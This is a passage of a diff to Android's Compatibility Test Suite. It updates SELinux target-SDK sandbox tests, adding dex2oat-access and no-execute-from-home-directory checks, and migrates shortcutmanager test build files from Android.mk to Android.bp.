     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index cc394e2..0394a18 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -20,7 +20,7 @@
 import java.io.IOException;
 
 /**
- * Verify the selinux domain for apps running with 25<targetSdkVersion<=27
+ * Verify the selinux domain for apps running with 25&lt;targetSdkVersion&lt;=27
  */
 public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
 {
@@ -33,7 +33,7 @@
 
     /**
      * Verify that selinux context is the expected domain based on
-     * targetSdkVersion = 27
+     * targetSdkVersion = 26-27
      */
     public void testAppDomainContext() throws IOException {
         String context = "u:r:untrusted_app_27:s0:c[0-9]+,c[0-9]+";
@@ -48,16 +48,20 @@
 
     /**
      * Verify that selinux context is the expected type based on
-     * targetSdkVersion = current
+     * targetSdkVersion = 26-27
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+";
         String msg = "Untrusted apps with targetSdkVersion in range 26-27 " +
-            "must use the app_data_file selinux context and use the levelFrom=all " +
-            "selector in SELinux seapp_contexts which adds four category types " +
+            "must use the app_data_file selinux context and use the levelFrom=user " +
+            "selector in SELinux seapp_contexts which adds two category types " +
             "to the app_data_file context.\n" +
             "Example expected value: u:object_r:app_data_file:s0:c512,c768\n" +
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(true);
+    }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/Android.bp b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
new file mode 100644
index 0000000..f4af775
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
@@ -0,0 +1,51 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSelinuxTargetSdk28TestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml
new file mode 100644
index 0000000..af86fa5
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxtargetsdk28.cts">
+
+    <!-- This app tests that apps with targetSdkValue==28 are placed in the
+         untrusted_app_28 selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxtargetsdk28.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
new file mode 100644
index 0000000..6a53a30
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxTargetSdk28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxtargetsdk28.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxTargetSdk28/common b/tests/tests/selinux/selinuxTargetSdk28/common
new file mode 120000
index 0000000..581eb17
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/common
@@ -0,0 +1 @@
+../common/src
\ No newline at end of file
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
new file mode 100644
index 0000000..92e1070
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security;
+
+import android.test.AndroidTestCase;
+import java.io.IOException;
+
+/**
+ * Verify the selinux domain for apps running with targetSdkVersion==28
+ */
+public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
+{
+    /**
+     * Verify that net.dns properties may not be read
+     */
+    public void testNoDns() throws IOException {
+        noDns();
+    }
+
+    /**
+     * Verify that selinux context is the expected domain based on
+     * targetSdkVersion = 28
+     */
+    public void testAppDomainContext() throws IOException {
+        String context = "u:r:untrusted_app_27:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 28 " +
+            "must run in the untrusted_app selinux domain and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app's selinux context.\n" +
+            "Example expected value: u:r:untrusted_app:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDomainContext(context, msg);
+    }
+
+    /**
+     * Verify that selinux context is the expected type based on
+     * targetSdkVersion = 28
+     */
+    public void testAppDataContext() throws Exception {
+        String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 28 " +
+            "must use the app_data_file selinux context and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app_data_file context.\n" +
+            "Example expected value: u:object_r:app_data_file:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDataContext(context, msg);
+    }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(true);
+    }
+}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
new file mode 100644
index 0000000..cbe4b8b
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
@@ -0,0 +1,51 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSelinuxTargetSdkCurrentTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
deleted file mode 100755
index 6174ec8..0000000
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libc++ \
-    libcrypto \
-    libcts_jni \
-    libctsselinux_jni \
-    libnativehelper \
-    libnativehelper_compat_libc++ \
-    libpackagelistparser \
-    libpcre2 \
-    libselinux \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkCurrentTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
index 614f442..f4b6aa9 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Permission Selinux test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index cf913fc..19468d2 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -17,8 +17,10 @@
 package android.security;
 
 import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.PropertyUtil;
 import java.io.IOException;
 
+
 /**
  * Verify the selinux domain for apps running with current targetSdkVersion
  */
@@ -31,13 +33,18 @@
         noDns();
     }
 
+
+    public void testCanNotExecuteFromHomeDir() throws Exception {
+        assertFalse(canExecuteFromHomeDir());
+    }
+
     /**
      * Verify that selinux context is the expected domain based on
      * targetSdkVersion = current
      */
     public void testAppDomainContext() throws IOException {
         String context = "u:r:untrusted_app:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion 28 and above " +
+        String msg = "Untrusted apps with targetSdkVersion 29 and above " +
             "must run in the untrusted_app selinux domain and use the levelFrom=all " +
             "selector in SELinux seapp_contexts which adds four category types " +
             "to the app's selinux context.\n" +
@@ -52,7 +59,7 @@
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion 28 and above " +
+        String msg = "Untrusted apps with targetSdkVersion 29 and above " +
             "must use the app_data_file selinux context and use the levelFrom=all " +
             "selector in SELinux seapp_contexts which adds four category types " +
             "to the app_data_file context.\n" +
@@ -60,4 +67,15 @@
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        /*
+         * Apps with a vendor image older than Q may access the dex2oat executable through
+         * selinux policy on the vendor partition because the permission was granted in public
+         * policy for appdomain.
+         */
+        if (PropertyUtil.isVendorApiLevelNewerThan(28)) {
+            checkDex2oatAccess(false);
+        }
+    }
 }
diff --git a/tests/tests/shortcutmanager/Android.bp b/tests/tests/shortcutmanager/Android.bp
new file mode 100644
index 0000000..6b45de3
--- /dev/null
+++ b/tests/tests/shortcutmanager/Android.bp
@@ -0,0 +1,240 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsShortcutManagerTestCases",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//-----------------------------------------------------------
+android_test_helper_app {
+    name: "CtsShortcutManagerLauncher1",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.launcher1",
+    ],
+    manifest: "packages/launchermanifest/AndroidManifest.xml",
+}
+
+//-----------------------------------------------------------
+android_test_helper_app {
+    name: "CtsShortcutManagerLauncher2",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.launcher2",
+    ],
+    manifest: "packages/launchermanifest/AndroidManifest.xml",
+}
+
+//-----------------------------------------------------------
+android_test_helper_app {
+    name: "CtsShortcutManagerLauncher3",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.launcher3",
+    ],
+    manifest: "packages/launchermanifest/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsShortcutManagerLauncher4",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.launcher4",
+    ],
+    manifest: "packages/launchermanifest_nonshared/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsShortcutManagerPackage1",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.package1",
+    ],
+    manifest: "packages/packagemanifest/AndroidManifest.xml",
+    resource_dirs: ["packages/packagemanifest/res"],
+}
+
+//-----------------------------------------------------------
+android_test_helper_app {
+    name: "CtsShortcutManagerPackage2",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.package2",
+    ],
+    manifest: "packages/packagemanifest/AndroidManifest.xml",
+    resource_dirs: ["packages/packagemanifest/res"],
+}
+
+//-----------------------------------------------------------
+android_test_helper_app {
+    name: "CtsShortcutManagerPackage3",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.package3",
+    ],
+    manifest: "packages/packagemanifest/AndroidManifest.xml",
+    resource_dirs: ["packages/packagemanifest/res"],
+}
+
+android_test_helper_app {
+    name: "CtsShortcutManagerPackage4",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    srcs: ["packages/src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.content.pm.cts.shortcutmanager.packages.package4",
+    ],
+    manifest: "packages/packagemanifest_nonshared/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsShortcutManagerThrottlingTest",
+    defaults: [
+        "cts_defaults",
+        "CtsShortcutManagerDefaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["throttling/src/**/*.java"],
+    min_sdk_version: "25",
+    manifest: "throttling/AndroidManifest.xml",
+}
+
+java_library {
+    name: "CtsShortcutManagerLib",
+    srcs: ["common/src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "ShortcutManagerTestUtils",
+    ],
+}
+
+java_defaults {
+    name: "CtsShortcutManagerDefaults",
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "ShortcutManagerTestUtils",
+        "CtsShortcutManagerLib",
+    ],
+}
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
deleted file mode 100755
index 56a81a9..0000000
--- a/tests/tests/shortcutmanager/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, common/src)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerTestCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/shortcutmanager/packages/Android.mk b/tests/tests/shortcutmanager/packages/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/tests/tests/shortcutmanager/packages/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
deleted file mode 100644
index 426bb89..0000000
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ /dev/null
@@ -1,105 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#-----------------------------------------------------------
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerLauncher1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher1
-
-include $(BUILD_CTS_PACKAGE)
-
-#-----------------------------------------------------------
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerLauncher2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher2
-
-include $(BUILD_CTS_PACKAGE)
-
-#-----------------------------------------------------------
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerLauncher3
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher3
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
deleted file mode 100644
index b894f13..0000000
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerLauncher4
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher4
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
deleted file mode 100644
index e645177..0000000
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ /dev/null
@@ -1,104 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
